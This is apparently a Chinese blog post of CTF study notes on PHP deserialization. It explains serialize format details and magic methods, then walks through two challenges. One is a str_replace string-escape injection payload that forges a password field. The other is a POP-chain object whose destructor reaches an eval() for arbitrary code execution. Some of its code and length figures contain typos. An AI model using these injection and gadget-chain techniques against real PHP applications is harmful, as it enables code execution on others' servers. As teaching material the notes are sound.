最近做题碰到的反序列化题越来越多,感觉有必要总结一下。
自己是个菜鸡可能写的比较啰嗦。
什么是序列化/反序列化?
说到序列化/反序列化serialize()函数和unserialize()函数,json_encode函数和json_decode函数必不可少。
我们在开发的过程中常常遇到需要把对象或者数组进行序列号存储,反序列化输出的情况。特别是当需要把数组存储到mysql数据库中时,我们时常需要将数组进行序列号操作。
序列化(串行化): 是将变量转换为可保存或传输的字符串的过程。
反序列化(反串行化): 就是在适当的时候把这个字符串再转化成原来的变量使用。
这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。
浅显的知识及注意点
只有文字读起来也是懵懵懂懂的
测试:
<?php
class test{
public $name="zhangsan";
private $age="18";
protected $sex="man";
}
$a=new test();
$a=serialize($a); //序列化结果
echo $a;
echo '<br /><br />';
$o = unserialize($a); //反序列化结果
print_r($o);
?>
浅显的知识及注意点
这里要说几点:
①PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的
②对象类型
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
③
第一个特别之处
对于private:
对age序列化长度应该为3,但没有对age序列化。
对testage序列化结果应该为7,但实际结果却为7。
原因:private属性序列化的时候格式是%00类名%00成员名,%00占一个字节长度,所以age加了类名后变成了testage长度为9。
第二个特别之处
对于protected:
sex反序列化的结果为*sex,而且长度也不对。
原因:protect属性序列化的时候格式是%00*%00成员名。
注意:%00是不显示的字符。在构造反序列化payload的时候需要我们手动加上(2019极客大挑战赛题可用)。
④如何处理数组值包含如双引号、单引号或冒号等字符。
我的解决方法就是base编码。
$a = array();
//序列化
$s = base64_encode(serialize($a));
//反序列化
$b = unserialize(base64_decode($s));
用base编码又会引起另一个问题,那就是增加了字符串的长度,可能引起其他的问题。在这里我们又可以使用gzcompress函数对字符串进行压缩。
php反序列化漏洞原理
先了解什么是魔法函数:
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当反序列化后的对象被输出的时候(转化为字符串的时候)被调用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
更多魔法函数点这
话不多说,先上例题(某平台)
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
①public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
②public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
③function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
str_replace()函数反序列化题很常见的函数。
我们可控的变量只有uname,password 的值为1。
先创建对象,对我们传入的值进行序列化然后执行步骤三,再进行反序列化,发序列化结束后,魔法函数_wakeup()将会自动执行。如果password反序列化的结果yu22x,则输出flag。
密码为1,正常的反序列化s:8:”password”;i:1;
密码yu22x,正常的序列化s:8:password;s:5:”yu22x”;这样就可以拿到了flag。
我们可以尝试传入
$uname='Firebasky";s:8:password;s:5:yu22x;}';
$password=1;
得到的结果:
O:1:“a”:2:{s:5:“uname”;s:39:“Firebaskyup”;s:8:“password”;s:5:“yu22x”;}";s:8:“password”;i:1;}
真正的密码是这段s:8:”password”;i:1;}
所以我们要想办法把s:8:”password”;s:5:”yu22x”;}”;给挤出来。
由Firebasky到Firebaskyup增加了两个字符,而s:8:”password”;s:5:”yu22x”;}”;由30个字符组成。
我们就可以构造
?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
就可以得到了flag。
我们通过利用str_replace()函数,将我们的密码挤出来了。
从而得到了flag。
同名方法的利用
<?php
error_reporting(0);
class A{
public $target;
function_destruct(){
$this->target=new B;
}
function_destruct(){
$this->target->action();
}
}
class B{
function action(){
echo "action B";
}
}
class C{
public $test;
function action(){
echo "action A";
eval($this->test);
}
}
unserialize($_GET['test']);
?>
类B和类C有同名的方法action(),我们可以构造目标对象,使得析构函数调用class C的action方法,实现任意代码执行。
<?php
class A{
public $target;
function __construct(){
$this->target = new C;
$this->target->test = "phpinfo();";
}
function __destruct(){
$this->target->action();
}
}
class C{
public $test;
function action(){
echo "action C";
eval($this->test);
}
}
echo serialize(new A);
?>
则
就先到这吧!以后碰到题,再更!!!